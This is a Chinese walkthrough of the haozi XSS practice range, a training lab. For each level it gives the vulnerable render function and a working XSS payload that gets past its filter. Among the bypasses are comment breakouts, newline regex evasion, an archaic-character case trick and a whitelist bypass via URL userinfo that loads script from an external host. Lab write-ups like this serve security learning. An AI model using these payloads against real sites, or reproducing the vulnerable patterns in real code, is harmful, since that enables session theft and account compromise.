耗子的XSS靶场wp
0x00
非常简单的一关
function render (input) {
return '<div>' + input + '</div>'
}
直接通关
<script>alert(1)</script>
0x01
这一关使用了textarea来将我们的输入转成文本
function render (input) {
return '<textarea>' + input + '</textarea>'
}
这里我的思路是闭合textarea
</textarea><script>alert(1)</script>
0x02
第二关是闭合属性的
function render (input) {
return '<input type="name" value="' + input + '">'
}
只需要简单闭合就🆗了
""<><script>alert(1)</script>
<input type="name" value=""><script>alert(1)</script>">
0x03
function render (input) {
const stripBracketsRe = /[()]/g
input = input.replace(stripBracketsRe, '')
return input
}
可以看到过滤了[
]
(
)
这几个符号,我一开始的思路是想到用编码方式绕过,经过学习发现这个想法是不能实现的。
第三关查阅了资料一次对浏览器解析和XSS的深度探究从中了解在原始文本元素(Raw textelements),<script>
和<style>
中是无法使用字符实体的。
要用到 ` 深入浅出ES6(四):模板字符串
<script>alert`1`</script>
0x04
function render (input) {
const stripBracketsRe = /[()`]/g
input = input.replace(stripBracketsRe, '')
return input
}
可以看到 ` 也被过滤掉了,那么思路回到编码绕过并根据上一关的学习,在
<script>
中是无法使用编码字符实体的,所以需要借助属性值,因为属性值首先会被HTML解析 。那么思路明确后非常简单了,先去bp学院复制一个payload然后将过滤字符进行实体编码转换
<style>@keyframes x{}</style><img style="animation-name:x" onanimationend="alert(1)"></img>
0x05
这一关涉及到注释
function render (input) {
input = input.replace(/-->/g, '😂')
return '<!-- ' + input + ' -->'
}
可以看到-->
被替换成一个😂来避免注释。我试过通过闭合后面的,但是不成功
<script>alert(1)</script><!--
<!--<script>alert(1)</script><!-- -->
也就是说我们必须闭合前面的才能逃出注释,然后注释有2种
<!-- -->
<!-- --!>
所以答案很明显了
--!><script>alert(1)</script>
<-- --!><script>alert(1)</script> -->
0x06
不得不说JavaScript真的是太自由了
function render (input) {
input = input.replace(/auto|on.*=|>/ig, '_')
return `<input value=1 ${input} type="text">`
}
这个正则应该不难看懂,过滤掉了auto
和on
开头的事件并且还过滤了>
不给你闭合。而之所以说JavaScript自由就是因为通过换行来打断正则匹配。
type="image" src="" onerror
="javascript:alert(1)"
<input value=1 type="image" src="" onerror
="javascript:alert(1)" type="text">
0x07
这一题的过滤非常强大,然而我再次见识到了JavaScript的自由
function render (input) {
const stripTagsRe = /<\/?[^>]+>/gi
input = input.replace(stripTagsRe, '')
return `<article>${input}</article>`
}
这个正则也不难看懂,就是把<>
和</>
中的内容全部过滤掉,我一开始的思路是通过实体编码绕过,但是<article>
确实会解码但是都被解析成字符串了,无法从文本域中实现突破。查了资料原来单标签不闭合也能执行
<img src="" onerror="alert(1)"
<article><img src="" onerror="alert(1)"</article>
0x08
这一关也是关于正则绕过的,不过跟之前那关略微的不同
function render (src) {
src = src.replace(/<\/style>/ig, '/* \u574F\u4EBA */')
return `
<style>
${src}
</style>
`
}
可以看到仅仅是过滤</style>
所以我们可以通过加个空格绕过</style >
</style ><script>alert(1)</script>
<style>
</style ><script>alert(1)</script>
</style>
0x09
这一关是一个白名单绕过
function render (input) {
let domainRe = /^https?:\/\/www\.segmentfault\.com/
if (domainRe.test(input)) {
return `<script src="${input}"></script>`
}
return 'Invalid URL'
}
通过代码可以看出,意图是我们只能调用白名单网址的js脚本,但是这不能保证安全,我们可以url链接的最后加一些字符,然后通过onerror
事件弹窗
https://www.segmentfault.com123" οnerrοr="alert(1)
<script src="https://www.segmentfault.com123" onerror="alert(1)"></script>
还有一种就是通过闭合掉<script>
再弄个我们自己的
https://www.segmentfault.com"></script><img src="" οnerrοr="alert(1)
<script src="https://www.segmentfault.com"></script><img src="" onerror="alert(1)"></script>
0x0A
这一关过滤的非常狠
function render (input) {
function escapeHtml(s) {
return s.replace(/&/g, '&')
.replace(/'/g, ''')
.replace(/"/g, '"')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/\//g, '/')
}
const domainRe = /^https?:\/\/www\.segmentfault\.com/
if (domainRe.test(input)) {
return `<script src="${escapeHtml(input)}"></script>`
}
return 'Invalid URL'
}
跟上一关其实一样,意图是指定我们script的src
但是这样的过滤也并非安全的。因为对于一个https://text.url@target.url
来说,最后会跳转到target.url
。因此思路其实跟上一关很像,污染src
参数
https://www.segmentfault.com@xss.haozi.me/j.js
<script src="https://www.segmentfault.com@xss.haozi.me/j.js"></script>
0x0B
这一关是把你的输入全部换成大写,因为 js
对大小写敏感。
function render (input) {
input = input.toUpperCase()
return `<h1>${input}</h1>`
}
但是在 js解析器
解析js之前,是 HTML解析器
对HTML文档进行解析,所以我们可以把
js代码先进行HTML实体编码,就能绕过大写替换了。
<img src="" onerror="alert(1)">
<h1><IMG SRC="" ONERROR="alert(1)"></h1>
0x0C
在上一关的基础上还多了一层正则过滤script
function render (input) {
input = input.replace(/script/ig, '')
input = input.toUpperCase()
return '<h1>' + input + '</h1>'
}
然而上一关我们就没有用到script
所以你懂的😂
<img src="" onerror="alert(1)">
<h1><IMG SRC="" ONERROR="alert(1)"></h1>
0x0D
这一关是正则过滤掉一些符号
function render (input) {
input = input.replace(/[</"']/g, '')
return `
<script>
// alert('${input}')
</script>
}
对于这样的编码,其实用一个简单的回车就可以突破。
然后用-->
注释掉后面多余的东西,但是我并没有查到-->
关于注释的资料,而且我在vscode中使用还被标红了,不过用浏览器打开确实是被注释掉了。
13
alert(1)
-->
<script>
// alert('13
alert(1)
-->')
</script>
0x0E
这一题真的很搞人,正则过滤了所有的标签,并且会把所有输入转成大写。
function render (input) {
input = input.replace(/<([a-zA-Z])/g, '<_$1')
input = input.toUpperCase()
return '<h1>' + input + '</h1>'
}
首先为了突破这个标签限制使用了一个古英文字符,是古英文的小写s
,转成大写就是S
但是又不在过滤范围内,非常的🐂批👍
然后答案是3年前的了,我看的参考博客也是1年半之前,可能失效了。
答案我在firefox和Google都不行,因为url被大写后J.JS
是找不到j.js
的,所以我的思路是使用url编码来绕过正则过滤。
<ſcript src="https://xss.haozi.me/%6A%2E%6A%73"></script>
<h1><SCRIPT SRC="HTTPS://XSS.HAOZI.ME/%6A%2E%6A%73"></SCRIPT></h1>
0x0F
这一关跟0x0A
过滤一样,并且在还用了一个console.error
函数使我们的输入字符串化。
function render (input) {
function escapeHtml(s) {
return s.replace(/&/g, '&')
.replace(/'/g, ''')
.replace(/"/g, '"')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/\//g, '/')
}
return `<img src οnerrοr="console.error('${escapeHtml(input)}')">`
}
但其实这个过滤形同虚设。因为在解析js之前还有一个HTML解析 ,而编码恰恰帮我们转换成了HTML实体编码
');alert('1
<img src onerror="console.error('');alert('1')">
0x10
查了一下可能是关于vue的?反正非常简单,因为毫无过滤
function render (input) {
return `
<script>
window.data = ${input}
</script>
`
}
简单闭合一下就行
'';alert(1)
<script>
window.data = '';alert(1)
</script>
0x11
这一关的代码有点离谱,不过逻辑还是挺简单的
// from alf.nu
function render (s) {
function escapeJs (s) {
return String(s)
.replace(/\\/g, '\\\\')
.replace(/'/g, '\\\'')
.replace(/"/g, '\\"')
.replace(/`/g, '\\`')
.replace(/</g, '\\74')
.replace(/>/g, '\\76')
.replace(/\//g, '\\/')
.replace(/\n/g, '\\n')
.replace(/\r/g, '\\r')
.replace(/\t/g, '\\t')
.replace(/\f/g, '\\f')
.replace(/\v/g, '\\v')
// .replace(/\b/g, '\\b')
.replace(/\0/g, '\\0')
}
s = escapeJs(s)
return `
<script>
var url = 'javascript:console.log("${s}")'
var a = document.createElement('a')
a.href = url
document.body.appendChild(a)
a.click()
</script>
`
}
这一关巧妙的利用了过滤非常的有意思。我们来看看如何利用的
");alert(1)//
然后在HTML中会是什么样的呢?
<script>
var url = 'javascript:console.log("\");alert(1)\/\/")'
var a = document.createElement('a')
a.href = url
document.body.appendChild(a)
a.click()
</script>
<a href="javascript:console.log("");alert(1)//")"></a>
可以看到恰恰是这个转义的 "
帮助我们闭合。
因为由此推断出了一个新的答案
\\");alert(1)//
在HTML中是这样的
<script>
var url = 'javascript:console.log("\\\\\");alert(1)\/\/")'
var a = document.createElement('a')
a.href = url
document.body.appendChild(a)
a.click()
</script>
<a href="javascript:console.log("\\");alert(1)//")"></a>
原因显而易见,在一连串的转义下("\\\\\")
到<a>
中只剩下("\\")
然后再次转义就只剩下("\")
了
0x12
这一关的代码意图是为了弥补上面一关出现的2次转义而出现突破。所以也转义了2次
// from alf.nu
function escape (s) {
s = s.replace(/"/g, '\\"')
return '<script>console.log("' + s + '");</script>'
}
但是道高一尺魔高一丈,既然你转义2次,那我就转义你的转义😋
\");alert(1)//
<script>console.log("\\");alert(1)//");</script>